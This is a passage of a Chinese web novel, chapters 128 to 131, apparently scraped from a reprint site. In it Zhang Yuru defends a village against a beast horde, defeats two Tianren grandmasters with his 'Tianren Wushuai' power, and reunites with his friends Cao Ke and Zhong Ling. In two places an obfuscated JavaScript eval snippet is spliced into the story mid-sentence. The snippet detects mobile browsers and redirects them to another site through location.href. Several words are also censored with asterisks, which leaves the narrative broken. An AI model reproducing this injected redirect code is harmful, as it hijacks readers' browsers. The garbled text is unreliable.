裂隙关闭的最后一刻,他仿佛听到了帝江机甲愤怒的咆哮,听到了汪鸿与邓岚的怒吼,更听到了无数异兽疯狂的嘶吼。 这场由天人算计引发的追杀,最终被失控的兽潮彻底搅乱,而他的逃亡之路,还远未结束。 或许是连命运都不忍让他就此陨落,张玉汝这次空间传送的落点意外地安全。 他掉落在一棵粗壮的雪松树冠上,枝叶的缓冲卸去了最后一丝冲击力。 耗尽所有力气的他就那样静静挂在枝头,黑白神光彻底敛去,连呼吸都微弱得几乎不可闻,像一片被风雪冻结的枯叶。 一个小时,两个小时……寒风卷着雪花掠过他的脸颊,带来刺骨的寒意,却也让他混沌的意识逐渐清醒。 直到第三个小时,张玉汝终于缓缓睁开眼睛,苍白的脸上恢复了一丝血色。 他颤抖着从怀中取出那枚早已黯淡无光的玄霜云珀,将其贴在眉心,微弱的寒气顺着经脉缓缓流淌,滋养着枯竭的能量核心。 “终于恢复了一点力气。”半个时辰后,张玉汝长舒一口气,从树枝上翻身落下,虽然脚步依旧虚浮,但至少能站稳了。 他抬头望向西方天际,那里不时有能量碰撞的光影闪烁,隐约还能听到沉闷的**声——显然,异兽与帝江机甲、汪鸿邓岚的战斗还在继续。 兽潮的入侵终究还是拖住了那些追杀他的力量,这让他暂时安全了。 “看来不需要我特意去通知了。”张玉汝甩了甩头,看着远方的光影自嘲地笑了笑,“这么大的动静,谁又能看不到呢?” 他原本以为,到了这个地步,先导会和天人总该全力出手拦截异兽了吧? 毕竟战火已经烧到了家门口,那些高高在上的特权者总不会拿自己的领地开玩笑。 然而,这个念头刚落下,一道刺目的银色电光便从天而降,精准地轰在他刚才站立的位置上!积雪飞溅,树干瞬间被轰出焦黑的缺口。 张玉汝猛地侧身翻滚,险之又险地避开攻击。 他转头望去,只见前方的雪地上不知何时**了数百只异兽,为首的是一头浑身缠绕电光的雷狼,正用猩红的眼睛死死盯着他,嘴边滴落着涎水。 更多的异兽从山林中涌出,有獠牙外露的雪熊,有翅膀带毒的飞蛾,显然是被远方的战斗吸引,又循着他的气息找到了这里。 逃,还是战?张玉汝的第一反应是立刻启动碎空镜离开。 他现在能量只恢复了三成,面对数百只异兽的**,即便能胜利,也会消耗很多能量。 保全自身,留待将来对抗天人,这才是最理智的选择。 而且,这里距离先导会的防线不远,相信他们很快就会察觉异动,派人来清理这些漏网之鱼…… “别傻了,骗骗别人也就算了,别把自己骗了。”张玉汝低声打断了自己的念头,语气带着一丝苦涩的清醒。 他太清楚那些人的尿性了——在他们眼里,这些普通异兽的威胁远不如“张玉汝逃脱”重要,在解决掉自己这个“心腹大患”之前,他们绝不会分兵来保护这些“无关紧要”的聚居点。 张玉汝的目光越过兽群,望向东方数公里外的山谷。 那里有袅袅的炊烟升起,隐约能看到低矮的房屋轮廓——那是一处小型人类聚居区,住着几十户以狩猎和采药为生的人家。 如果自己就此离开,这些异兽迟早会循着人气杀过去,那些手无寸铁的普通人,大概率会成为异兽的口粮。他想起了豫州城破时的惨状,想起了夏侯月临死前的眼神,想起了自己在雪域峡谷中拼尽全力争取时间的意义。 “有些底线,是不能突破的。”张玉汝握紧了拳头,掌心的黑白神光再次亮起,虽然微弱,却异常坚定,“一旦突破,就会一路堕落,最终变成自己最痛恨的模样。” 他不想成为那种为了活命而漠视他人牺牲的人,更不想变成像天人那样视人命如草芥的存在。 “来吧,畜生们!”张玉汝迎着数百只异兽的凶光,缓缓抬起右手,向着它们勾了勾手指,眼中燃起了决绝的火焰。 哪怕能量不足,哪怕身陷重围,哪怕刚刚从鬼门关逃出来,他也必须站在这里。 不是为了先导会,不是为了天人,而是为了守住自己心中那道最后的防线,为了让东方山谷里的炊烟,能多升起一会儿。 雷狼发出一声震耳的咆哮,率先带着兽群扑了上来。张玉汝深吸一口气,身影再次融入风雪之中,黑白神光在兽群中乍现,如同黑暗中永不熄灭的星火。 战斗,再次开始。这一次,无关复仇,无关抗争,只为守护那不能失守的底线。 精神的力量到底有多么强大,谁也说不清楚。 它无形无质,却能在最绝望的时刻,化作支撑灵魂的脊梁。 张玉汝曾在古籍中读到过那些传说——有人在绝境中爆发出远超平日的力量,徒手撕碎异兽的獠牙;有人凭借不屈的意志,拖着断腿爬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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甚至连远处被主战场吸引的异兽,也循着浓郁的血气奔来,源源不断地加入战团。 张玉汝身上的伤口在以肉眼可见的速度增加:右臂被毒蛾的鳞粉灼伤,泛起大片乌黑的溃烂;后背被雪熊的巨掌拍中,肋骨传来断裂般的剧痛;小腿被藤蔓刺穿,墨绿色的毒液顺着伤口蔓延;脸颊被雷击擦过,留下焦黑的印记。 抓伤、咬伤、烧伤、冻伤、雷击、穿刺、剧毒……各种各样的攻击手段落在他身上,将他从一个血肉模糊的人,变成了连面目都看不清的血团。 他的脚步越来越蹒跚,每一次移动都在雪地上留下一个血脚印;呼吸越来越沉重,每一次吸气都带着血腥的铁锈味;视线越来越模糊,只能依靠本能和「造化之眼」最后的微光锁定敌人。 他仿佛随时都会倒下,像一座被狂轰滥炸的破塔,在风雨中摇摇欲坠。 但他始终没有倒下。就像一个被无数次击打却始终挺立的不倒翁,张玉汝的身体或许摇晃、颤抖,却总有一股无形的力量支撑着他的脊梁。 豫州城破时的火光在他眼前闪烁,夏侯月的笑容在他脑海中浮现,那些他想要守护的炊烟、那些他不愿放弃的底线,化作比钢铁更坚硬的意志,流淌在他的血液里。 **自己战斗了多久,只知道每一次挥拳都越来越慢,每一次倒下后站起来都越来越艰难。 他甚至开始出现幻觉,仿佛看到天人宗师的冷笑,看到异兽的獠牙,看到远方聚居区的灯火……这些幻觉没有击垮他,反而让他的眼神愈发清明。 “不能……倒下……”他用尽全力吐出这几个字,声音沙哑得如同破锣,却带着不容置疑的决绝。 当最后一头异兽的哀嚎声落下时,风雪似乎都安静了下来。 在漫长而残酷的战斗之后,已经看不出人形的张玉汝,靠着一棵被鲜血染红的树干,艰难地站在原地。 他的身体布满了深可见骨的伤口,毒液让皮肤呈现出诡异的青黑色,肋骨的断裂让他连呼吸都痛彻心扉。 但他终究没有倒下,脊梁依旧挺得笔直。而在他周围,是层层叠叠、数不清的异兽尸体。雷狼的头颅被砸碎,毒蛾的翅膀散落一地,雪熊的尸体倒在血泊中,藤蔓的残根在雪中抽搐……整个战场如同被血色浸染的修罗场,而他,是这场血战中唯一的幸存者。 他赢了。 不是靠着超凡的能力,不是靠着碾压的力量,而是靠着那股不愿屈服的精神,靠着那道不能失守的底线,靠着一个人在绝境中爆发出的、连自己都未曾察觉的强大意志。 张玉汝缓缓抬起头,望向东方山谷中依旧亮着的灯火,嘴角扯出一个沾满血污的笑容。 就在这时。 啪、啪、啪。三道清脆的鼓掌声自天空之上传来。 第 129章 黄雀 就在张玉汝靠着树干喘息,连抬手擦去脸上血污的力气都快失去时。 啪、啪、啪。三道清脆的鼓掌声突然自天空传来,如同冰锥刺破战场的死寂。 那声音不大,却带着一种深入骨髓的戏谑,仿佛有人在欣赏一场精心编排的血腥戏码,而他这个满身血污的幸存者,不过是戏台上供人取乐的小丑。 张玉汝艰难地抬起头,模糊的视线在风雪中聚焦。 两道身影映入眼帘,他们踏着淡淡的能量光晕悬浮在半空,衣袍在寒风中猎猎作响,却一尘不染;发丝梳理得整整齐齐,连一丝凌乱都没有;甚至连鞋底都光洁如新,没有沾染丝毫雪尘或血污。 这光鲜亮丽的模样,与下方浑身血污、伤口外翻、连人形都快看不清的自己形成了刺目的对比,像一幅用极致奢华与极致狼狈拼接的讽刺画。 是天人宗师。但他们并非之前追杀他的汪鸿与邓岚。 左侧那人穿着绣着云纹的金色劲装,面容俊朗如玉石雕琢,眼神却锐利如鹰隼,周身萦绕着锋锐无匹的金系能量,连飘落的雪花靠近他三尺之内,都会被无形的锋芒切碎。 右侧那人则身着宽松的灰色僧袍,面容苍老如枯木,手中握着一串油光发亮的紫檀念珠,每转动一颗珠子,周身便会泛起一圈土黄色光华,气息沉稳如万年山岳,压得人胸口发闷。 “精彩,真是精彩。”金袍宗师轻笑着开口,声音里的玩味几乎要溢出来,“以大师之身,硬撼数百异兽,流了这么多血还能站着喘气,张玉汝,你确实比情报里描述的更有趣。” 他像是在评价一件新奇的玩物,目光扫过满地异兽尸体时,没有丝毫波澜,仿佛那些不是生命,只是布景板。 灰袍老僧捻着念珠,枯槁的手指在珠子上缓缓滑动,淡淡补充道:“可惜,再有趣的戏码,也总有落幕的时候。你撑得够久了,该谢幕了。” 他的声音平淡无波,却比金袍宗师的戏谑更令人心寒——那是一种对生命的彻底漠视,仿佛在谈论一件无关紧要的小事。 张玉汝看着他们,胸腔剧烈起伏,每一次呼吸都带着撕裂般的疼痛。 他能清晰地感觉到这两人的气息比汪鸿、邓岚更加深沉、更加凝练,金系的锋锐与土系的厚重交织在一起,形成一张无形的天网,将周围的空间都牢牢锁定。 这是天人宗师中更难缠的角色,是专门为了“收尾”而来。 “你们……是专程来杀我的?”张玉汝的声音沙哑得几乎听不清,每说一个字都牵扯着喉咙的伤口,鲜红的血液顺着嘴角滑落,滴在胸前的血污上,融为一体。 金袍宗师挑眉,像是听到了什么可笑的话:“杀你?用得着我们出手吗?”他伸出手指,轻佻地指了指张玉汝浑身的伤口,语气里的轻蔑几乎要化作实质,“我们原本以为,那群异兽就能替我们解决掉你这个麻烦,没想到你这贱命还挺硬,竟然侥幸活下来了。” “毕竟是元天成看重的人,又是能让汪鸿吃瘪的‘人才’,有几分本事也是正常的。”灰袍老僧转动念珠的手指停顿了一下,土黄色的光华微微波动,“所以,我们来送你最后一程。免得你再挣扎,污了天人的眼。” 张玉汝低下头,散乱的发丝遮住了他的眼睛,只有急促的喘息声在风雪中回荡。 他终于明白了。 从始至终,这些天人就没在乎过那些逼近聚居区的异兽。 他们任由兽潮肆虐,任由自己被异兽**,甚至可能在暗中引导异兽的动向,只为了消耗他的力量。 他们一直在远处冷眼旁观,像看一场斗兽表演,等着他拼到油尽灯枯的时刻,再由这两位更强的宗师出面,轻松收割他的性命。 至于那些可能被异兽屠戮的普通民众?在这些人的眼里,或许连成为“戏码背景”的资格都没有。 “呵呵……”张玉汝突然低低地笑了起来,笑声嘶哑而古怪,牵动着脸上的伤口,血沫从嘴角不断涌出,“你们……果然……和我想的一样……” 他缓缓抬起头,尽管视线模糊,尽管身体摇摇欲坠,但那双眼睛里却重新燃起了光芒,不是黑白神光的璀璨,而是一种混杂着愤怒、悲凉与决绝的火焰。 “想让我死?”张玉汝用尽全力挺直脊梁,哪怕每一寸肌肉都在尖叫**,“那就……来试试!” 金袍宗师脸上的笑容淡去,眼神变得冰冷:“死到临头还嘴硬,那就别怪我们……” 话音未落,他周身的金系能量骤然暴涨,无数道金色锋芒在半空凝聚,如同即将射出的箭雨。 灰袍老僧也停下了念珠,土黄色光华沿着地面蔓延,试图将张玉汝的双脚牢牢锁在原地。 风雪再次变得狂暴,这一次,却带着比兽潮更刺骨的杀意。 张玉汝靠在树干上,看着头顶凝聚的杀招,感受着脚下传来的禁锢之力,嘴角却依旧挂着那抹染血的笑容。 金袍宗师指尖的金色锐芒愈发凝练,如同被压缩到极致的阳光,散发着撕裂空气的尖啸,连周围的风雪都被锋芒逼退三尺。 灰袍老僧脚下的震颤越来越剧烈,数根碗口粗的土黄色石刺从张玉汝周围的地面破土而出,如同生长的獠牙,精准地封锁了他前后左右所有闪避的方向,石刺表面流转的土系能量让空间都变得凝滞。 他们悬浮在半空,连靠近都懒得做,显然打算用这种最省力、最具侮辱性的方式,结束这场“早已注定结局”的追杀。 在他们看来,张玉汝不过是砧板上的鱼肉,只需轻轻一动手指,就能让这场闹剧彻底落幕。 张玉汝看着悬在半空的两人,看着那道越来越近、几乎要刺瞎眼睛的金色锐芒,又看了看周围如同囚笼般升起的石刺。 他的身体已经到了崩溃的边缘,每一寸肌肉都在哀鸣,能量核心彻底枯竭,连「枯木逢春」那微弱的生机都在快速流逝,皮肤下的血管因失血过多而微微抽搐。 意识开始模糊,眼前的景象出现了重影,死亡的阴影如同实质的潮水,从四面八方涌来,这是他从未如此清晰地感受到“终结”的临近。 但他的眼神没有熄灭。那双被血污覆盖的眼睛里,黑白神光在最后一刻骤然亮起,微弱却如同黑夜中永不熄灭的星辰。 “想……杀我?”张玉汝用尽最后一丝力气,猛地挺直了摇摇欲坠的脊梁。 尽管身体还在不受控制地颤抖,一股惊人的气势却从他残破的身躯中爆发出来,那是混杂着不甘、愤怒、以及对强权最彻底蔑视的意志,比金系锋芒更尖锐,比土系磐石更坚定。 他没有选择闪避——石刺早已封**退路;没有选择求饶——那是比死亡更**的结局。他将所有残存的意志、所有未熄的信念、所有对“底线”的坚守,尽数凝聚于血肉模糊的拳心。 迎着那道足以将他洞穿的金色锐芒,迎着半空那两张写满轻蔑的脸,打出了自己最后的一拳。 这一拳没有惊天动地的威力,甚至连能量波动都微乎其微,拳风软弱得仿佛一阵风就能吹散。 然而,就在这看似无力的拳头与金色锐芒即将碰撞的刹那,异变陡生! 张玉汝拳心突然爆发出一道极淡的混沌气流,那气流并非黑白神光,而是一种更本源、更纯粹的能量,仿佛蕴含着“生”与“灭”的初始法则。 金色锐芒触及混沌气流的瞬间,竟如同冰雪遇骄阳般开始消融,锐不可当的锋芒以肉眼可见的速度黯淡下去! “怎么可能?!”金袍宗师脸色骤变,他能感觉到自己的金系能量正在被那道混沌气流瓦解,仿佛遇到了天生的克星。 更让两人惊骇的是,张玉汝的拳头并未停歇,混沌气流顺着金色锐芒逆流而上,瞬间便蔓延至金袍宗师的指尖。他只觉一股难以言喻的力量顺着手臂涌入体内,所过之处,凝练的金系能量竟开始溃散,连经脉都传来一阵刺痛! “不好!”灰袍老僧脸色大变,再也顾不得维持姿态,急忙催动土系能量想要切断混沌气流的传播。 地面的石刺骤然暴涨,试图将张玉汝彻底刺穿,却见那混沌气流扩散开来,石刺接触到气流的部分竟如同风化的岩石般开始崩解! 两人再也维持不住居高临下的姿态,齐齐向后急退,脸上写满了难以置信的惊骇。 他们能感觉到,张玉汝这一拳中蕴含的并非单纯的力量,而是一种足以“解构”能量本质的奇异法则,这种法则直接作用于能量的根源,让他们引以为傲的宗师之力都出现了失控的迹象! “这是什么力量?!”金袍宗师捂着刺痛的手臂,看着指尖残留的混沌气流,眼中第一次露出了恐惧。 这一拳中蕴含的力量,名为「天人五衰」。 对于寻常能力者而言,「天人五衰」固然诡异可怖,能瓦解能量、侵蚀肌体,却并非毫无抵抗之力——只需及时切断能量连接,辅以高阶疗伤手段,总能挽回大半生机。 可对于天人们来说,这份力量却如同附骨之疽,是专门为他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174972|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们量身定做的催命符。 天人们之所以对张玉汝抱有如此强烈的杀意,甚至不惜动用帝江机甲与多名宗师围杀,绝非仅仅因为他走上了那条挑战天**威的道途。 说实话,神州国的能力者成千上万,能触及那条道途门槛的人不在少数,若真要逐个清除,天人怕是连维持统治的精力都没有,每天在街上追杀速度类能力者就够他们忙的了。 真正让天人高层下定决心必杀张玉汝的,正是他这独一无二的「天人五衰」。 这招仿佛是天地法则对特权阶层的反噬,专门克制天人赖以生存的能量体系。 当天人被这招命中时,受到的伤害与引发的肌体异变,几乎不存在修复的可能——就像瓷器上的裂痕,哪怕用金漆填补,也终究回不到最初的完整。 此时此刻,悬在半空的两位天人宗师身上,已开始浮现「天人五衰」的恐怖变化。 金袍宗师手臂上的金色光华如同退潮般黯淡,原本光洁的皮肤浮现出细密的皱纹,连发丝都染上了几缕灰白;灰袍老僧手中的紫檀念珠失去了温润光泽,变得干枯开裂,他沉稳如岳的气息剧烈波动,嘴角溢出的鲜血竟带着灰败的色泽。 “该死的,这小子为什么还有能量!”金袍宗师捂着手臂痛苦呻吟,他能清晰地感觉到体内的金系能量在快速衰败,原本凝练如钢的本源开始变得松散,这种从根源上的瓦解比任何伤势都更让人心悸。 他们明明亲眼看到张玉汝在兽潮中耗尽能量,只能依靠肉身苦苦支撑,甚至好几次差点死在异兽爪下,为什么偏偏在这种时候还能使出如此恐怖的能力? 张玉汝靠在树干上,看着两人惊慌失措的模样,脸上露出了冰冷的笑容。血污覆盖的嘴角微微上扬,带着一丝早已预料到的嘲讽:“因为这力量,原本就是留给你们的。” 从战斗的一开始,他就考虑到了天人偷袭的可能性,所以他一直没有使用能量,而是将恢复的能量一点一点的积攒下来。 这是他压箱底的杀器,是专门为天人准备的“惊喜”。 在兽潮中肉搏也好,承受伤势也罢,都是为了麻痹这些高高在上的宗师,让他们误以为自己早已油尽灯枯,放松最后的警惕。 他故意将「天人五衰」的力量伪装成生命力流逝的迹象,用血肉之躯做掩护,为了尽可能地伪装,甚至不惜用这种力量伤害自己。 一切准备只为在最关键的时刻,给予这些追杀者致命一击。 “你……”灰袍老僧指着张玉汝,脸色从苍老变得灰败,他终于明白自己还是低估了这个年轻人的隐忍与算计。 张玉汝没有回答,只是冷冷地看着他们。 天人五衰之力一旦动用,便如开弓之箭不可收回,此刻他自己也承受着巨大的压力,生命力如同被戳破的皮囊般快速流逝。 但他不在乎,只要能让这些视人命如草芥的天人付出代价,这点牺牲是值得的。 金袍宗师突然怒吼一声,拼尽残余能量打出一道金色光刃,试图在彻底衰败前杀死张玉汝。然而此刻的他早已不复巅峰,光刃飞行的轨迹都出现了扭曲。 张玉汝甚至没有闪避,光刃擦着他的肩头飞过,只留下一道浅浅的血痕——失去能量支撑的攻击,连他残破的肉身都无法击穿。 “结束了。”张玉汝轻声说道,声音里带着一种解脱般的疲惫。 随着他的话音落下,两位宗师身上的衰败速度骤然加快。 金袍宗师的金色劲装变得陈旧破烂,俊朗的面容迅速衰老,如同瞬间度过了百年光阴;灰袍老僧手中的念珠彻底崩碎,身体化作一道灰烟,消散在风雪中,连一丝能量痕迹都没留下。 金袍宗师还在半空中痛苦挣扎,最终如同断线的风筝般坠落,砸在雪地上,变成一具失去生机的苍老尸体。 风雪渐渐平息,战场上只剩下张玉汝和满地的尸体。 他看着两位天人宗师的下场,眼中没有丝毫快意,只有一片空茫。 能量的反噬越来越强烈,他的视线开始发黑,身体缓缓滑落在雪地里。 但在彻底失去意识前,张玉汝仿佛看到远方的天际,有几道流光正向着这里赶来。 那不是天人的气息,而是带着熟悉的温暖与焦急——或许,是夏雨萱搬来的救兵? 或许,这场漫长的追杀,终于要迎来转机了? **答案,只是在意识沉入黑暗的最后一刻,嘴角再次勾起一抹微弱的笑容。 第 130章 故人 银白色的天花板上挂着一盏散发着柔和白光的吊灯,暖黄色的光芒透过磨砂灯罩洒下,在米白色的被褥上投下一片朦胧的光晕。 这种温暖而安稳的氛围像一层柔软的棉花,让人不禁心生困顿,只想蒙着头再睡上一觉,最好是一觉睡到天亮,把所有的血腥、厮杀与逃亡都抛在梦里,再也不醒来。 当张玉汝从混沌中挣扎着醒来时,这便是他第一时间看到的景象,以及脑海中最本能的想法。 疲惫如同潮水般包裹着他,每一寸肌肉都在隐隐作痛,诉说着之前那场血战的余威,但身体却意外地没有了濒死时那种撕裂般的剧痛。 伤口处传来淡淡的暖意,像是有温和的能量在缓缓滋养肌体,显然经过了精心的处理。 不过这份安稳并未持续太久。 他很快便从混沌中挣脱出来,猛地想要坐起身,却被浑身的酸痛按回了床上,胸口传来一阵牵扯般的闷痛。 “坏了!”一个念头瞬间击中他,让他浑身汗毛倒竖,“我这是在哪?不会是被天人抓到实验室,准备解剖研究「天人五衰」了吧?” 记忆如同破碎的镜片般涌来:昏倒之前,他躺在雪地里,看着两位天人宗师在「天人五衰」的侵蚀下快速衰败。 自己拼尽最后保留的能量,打出那决定生死的一拳时,连视线都模糊成了血色——那些能量是他在兽潮中死战不退时,硬生生从牙缝里省下的,最初只是出于“留一手保命”的保险起见,没想到真的在最后关头成了反杀的关键。 想起自己一拳逼退两位宗师时的决绝与高光,再对比此刻躺在陌生床上的慌乱与狼狈,张玉汝忍不住在心里自嘲——果然再靓仔的高光时刻,也敌不过清醒后的求生欲。 然而,他悬着的心很快就放回了肚子里。 病房的门被轻轻推开,两道有些熟悉的身影走了进来。 左边的女子穿着一身利落的黑衣,长发束成高马尾,眉眼间带着几分桀骜;右边的女子则穿着素雅的青衣,长发披肩,气质温婉,手里还端着一个放着温水和药片的托盘。 “玉汝,你醒了?手术很成功,现在你已经是女孩子了。”黑衣女子走到床边,双手叉腰,故意板着脸开玩笑道,眼底却藏不住笑意。 “别听她胡说。”青衣女子嗔怪地看了同伴一眼,将托盘放在床头的柜子上,关切地问道,“身体现在感觉怎么样?还有没有什么不舒服的地方?伤口会不会很痛?” “珂珂?灵儿?”张玉汝看着两人,眼中充满了难以置信的惊讶,声音都有些发颤。 这两张脸虽然看着有些陌生,但眉眼间的轮廓、说话的语气,分明是他早年结识的好友曹珂与钟灵! “呦,您这是贵人多忘事,几年不见都不认识老熟人了?”黑衣女子故意做出一副尖酸刻薄的样子,伸手在他胳膊上轻轻拍了一下,却因为怕弄疼他而收了力,嘴角的喜悦根本藏不住。 “是我们。”青衣女子温柔地点点头,拿起棉签沾了点温水,小心翼翼地帮他擦拭嘴角的干裂。 她的动作轻柔得像春风拂过,瞬间驱散了张玉汝心中残存的不安。 大概是看出了张玉汝眼中的疑惑,曹珂解释道:“我和钟灵这些年经常在暗中调查天人的动向,为了方便行动,都用特殊技法做了伪装,用能量改变了容貌和气息。现在的样子和真实样貌有不小的区别,你认不出来也正常。” “原来如此。”张玉汝长舒了一口气,紧绷的身体彻底放松下来,后背的冷汗瞬间浸湿了病号服。 他看着眼前熟悉又陌生的两张脸,心中涌起一股暖流,驱散了所有的不安与疲惫。 不得不说,她们两人的伪装水平确实厉害,无论是容貌细节还是能量波动,都做了彻底的改变,基本上完全看不出来和原本模样的关系。 若不是这熟悉的语气和关切的眼神,他恐怕真的会把她们当成天人派来的“新杀手”。 吊灯的光芒依旧柔和,病房里弥漫着消毒水和淡淡药草混合的味道,却不再让人觉得恐惧。 “我看我们还是先把伪装卸下来吧,不然这位大人可就真把我们给忘了。”身着黑衣的钟灵语笑嫣然地说道。 她现在的这副神态若是给其他人看到,恐怕是要震惊得说不出话来——和钟灵接触的人都知道,她小时候是个很活泼的孩子,但五六年前不知为何忽然变得极其冷漠,之后虽有过短暂好转,却很快又变得更加疏离,像一座捂不热的冰山。 曹珂闻言点了点头,她的手中浮现出盈盈绿光,那是蕴含生命能量的治愈之光。 绿色的光芒在她和钟灵的脸上轻轻划过,如同水波荡漾。 随着曹珂掌心绿光流转,两人脸上的伪装如同被晨露洗净的薄雾般缓缓褪去,露出了被能量掩盖的真实容貌。 钟灵的变化最为显著。 伪装褪去的瞬间,她眉眼间那层刻意维持的桀骜与疏离如同冰雪消融。 原本被压制的灵动悄然复苏,那双眼睛不再是冰冷的寒潭,而是重新泛起了张玉汝记忆中的光彩——眼尾微微上翘,带着几分天然的俏皮,瞳孔清澈如溪,转动间仿佛有细碎的星光在跳跃。 她的鼻梁小巧挺直,鼻尖带着一点自然的圆润,嘴唇是健康的粉色泽,唇角即便不笑,也微微上扬着,藏着早年那股藏不住的活泼劲儿。 只是时光终究在她脸上留下了痕迹。 眼角眉梢比记忆中多了几分锐利的线条,那是常年在暗处行动留下的警惕;脸颊的婴儿肥早已褪去,下颌线变得清晰利落,却在看向张玉汝时,悄然柔和下来。 最动人的是她此刻的眼神,既有重逢的惊喜,又有掩饰不住的关切,还有一丝久别重逢的局促,曾经被冷漠冰封的灵气如同解冻的溪流,重新在她眼底潺潺流淌,让她整个人都鲜活了起来。 仿佛那个会追着蝴蝶跑、会因为一点小事就笑得前仰后合的姑娘,从未真正离开过,只是被岁月暂时藏了起来。 而曹珂的真容,则完美延续了她骨子里的恬静气质。 伪装散去后,她的眉眼依旧是记忆中温婉的模样,眉毛细长如黛,顺着眼型自然舒展,不笑时带着淡淡的悲悯,笑时则弯成两道温柔的月牙。眼睛是温润的杏核状,瞳孔是偏浅的茶色,无论看向何处,都带着一种沉静的专注,仿佛世间纷扰都与她无关。 她的脸型是柔和的鹅蛋脸,皮肤是常年不见强光的白皙,却透着健康的粉晕,鼻梁秀气挺直,嘴唇薄薄的,说话时语速总是不急不缓,带着让人安心的力量。 这些年的风霜似乎格外优待她,除了眼神中沉淀出的从容与坚韧,她的容貌几乎没有太大变化。 只是在靠近时能发现,她眼神比记忆中深了些,那是无数个夜晚为同伴疗伤、为计划筹谋留下的印记;手指的指腹带着薄茧,那是常年操控治愈能量、处理草药留下的痕迹。 但这份岁月的痕迹并未破坏她的恬静,反而让她的气质更佳,站在那里,就像一株在风雨中静静生长的兰草,始终保持着自己的姿态。 “这下认出来了吧?”钟灵伸手拨了拨耳边的碎发,指尖划过脸颊时,似乎还带着一丝对“真实”的生疏,眼底的灵气却愈发鲜活,“别告诉我,你还是觉得我们像天人派来的杀手。” 曹珂则走到床边,伸手轻轻按在张玉汝的手腕上,茶色的瞳孔中泛起微光,感知着他体内的恢复情况,语气依旧是熟悉的温和:“能量运转还有些滞涩,但反噬已经被控制住了。” 张玉汝看着眼前这两张既熟悉又带着时光印记的脸,看着钟灵眼底重新亮起的灵气,看着曹珂始终不变的恬静,心中的暖流愈发汹涌。 “真的是你们……”张玉汝看着她们的真容,眼眶微微发热。 在经历了天人的追杀、异兽的围堵、生死的挣扎后,这份突如其来的重逢,比任何疗伤药都更能抚慰疲惫的心灵。 钟灵挑眉,伸手弹了弹他的额头:“不然你以为是谁?难不成还盼着天人来给你送终?” 曹珂则拿起托盘里的药片,递到他嘴边:“先把药吃了。你这次伤得太重,「天人五衰」的反噬又厉害,若不是我们恰好赶到,恐怕真要永远留在那片雪地里了。” 张玉汝乖乖张嘴吞下药片,温水顺着喉咙滑下,带来一丝暖意。 他看着眼前的两人,忽然觉得那些血腥的厮杀、绝望的逃亡都有了意义——至少他活了下来,还能再次见到这些在意的人。 病房里的灯光依旧柔和,张玉汝靠在床头,听着曹珂和钟灵讲述这些年的经历,心中的阴霾渐渐散去。 自从张玉汝第一次击杀天人离开豫州后,曹珂与钟灵的人生轨迹便彻底偏离了原本的方向。 她们天真地以为,只要找到张玉汝并非“叛逃”的证据,只要向世人揭露天人的伪善,就能为他洗脱“击杀同伴、勾结邪教”的罪名。 曹珂动用了曹家在情报网络的资源,钟灵则凭借钟家在各地的产业打探消息,两人像两只不知疲倦的工蜂,穿梭在各大城市的明暗角落,收集着天人操控舆论、掩盖真相的蛛丝马迹。 可现实很快给了她们沉重一击。 两名高级能力者的身份,在天人庞大的权力机器面前如同螳臂当车。 她们递交的证据石沉大海,试图接触的官员要么避之不及,要么直接将消息通报给天人。 很快,一份冰冷的警告送到了她们手中——用暗红色的火漆封缄,上面没有落款,却带着足以冻结血液的威压:“安分守己,否则后果自负。” 她们这才明白,没有家族的全力支持,自己的抗争不过是徒劳。 曹珂曾鼓起勇气向祖父曹谅求助,那位坐镇曹家的大宗师只是沉默地看着她,最终叹了口气:“玉儿,有些事不是你能插手的,天人的威严不容挑衅。” 钟灵找到钟神秀时,得到的回答更加直接:“为了一个外人,让整个钟家陷入危机?” 两位大宗师的态度如出一辙。 在家族利益与天人的强权面前,张玉汝实在算不得什么。 自知无法从家族得到支持的两女,做出了一个决定:跳出家族为她们规划的“按部就班”培养路线。 曹珂放弃了曹家继承人的优渥资源,钟灵斩断了与钟家产业的所有联系,她们带着仅有的积蓄与信念,开始了真正的独立调查。 那段日子很苦。 她们要躲避天人的眼线,要在黑市换取情报,要在荒郊野外修炼提升实力,甚至好几次差点陷入异兽的巢穴。 但正是这份绝境中的磨砺,让她们的能力突飞猛进。 在张玉汝逃亡的第一年结束时,曹珂突破瓶颈,能在瞬间凝聚生机;钟灵也完成蜕变——两人几乎同时突破成为大师级能力者,比家族预期的时间整整提前了三年。 她们的优异表现很快引起了北斗院的注意。 这所神州国最顶级的院校,向她们抛来了橄榄枝。 曹珂与钟灵几乎没有犹豫就接受了邀请——北斗院不仅能提供更安全的修炼环境,更重要的是,这里有不被天人掌控的情报网络,有更顶尖的资源,能让她们变得更强。 在北斗院的两年,她们一边疯狂吸收知识提升实力,一边从未放松对天人动向的关注。 曹珂凭借治愈能力成为学院附属医院的核心成员,借着治疗各地伤员的机会,收集着天人在各地的暴行证据;钟灵则加入了北斗院的行动组,多次参与围剿异兽的任务,实则在暗中追踪天人宗师的行踪。 这次能在益州边境及时找到张玉汝,正是多年积累的结果。 当天人内部网络传出“围剿张玉汝”的消息时,钟灵凭借安插在天人外围成员中的眼线第一时间截获了情报;而北斗院内部关于益州异兽潮的第一手监测数据,则让她们精准锁定了张玉汝可能突围的路线。 两人来不及请示学院,直接动用了北斗院的紧急传送装置,以最快的速度赶到了那片雪原,恰好看到张玉汝倒在血泊中的最后一幕。 “还好让我们赶上了。”曹珂为张玉汝更换着绷带,语气轻描淡写,却掩不住后怕。 她指尖的绿光流转,将新鲜的能量注入伤口。 张玉汝看着她们,心中百感交集。 他从未想过,自己的一次逃亡,竟会让两个原本可以安稳度日的女孩,走上这样一条艰险的道路。 第 131章 罪名 虽然心中对曹珂与钟灵有着千言万语,但张玉汝很清楚,自己没有太多时间沉溺在重逢的温情中。 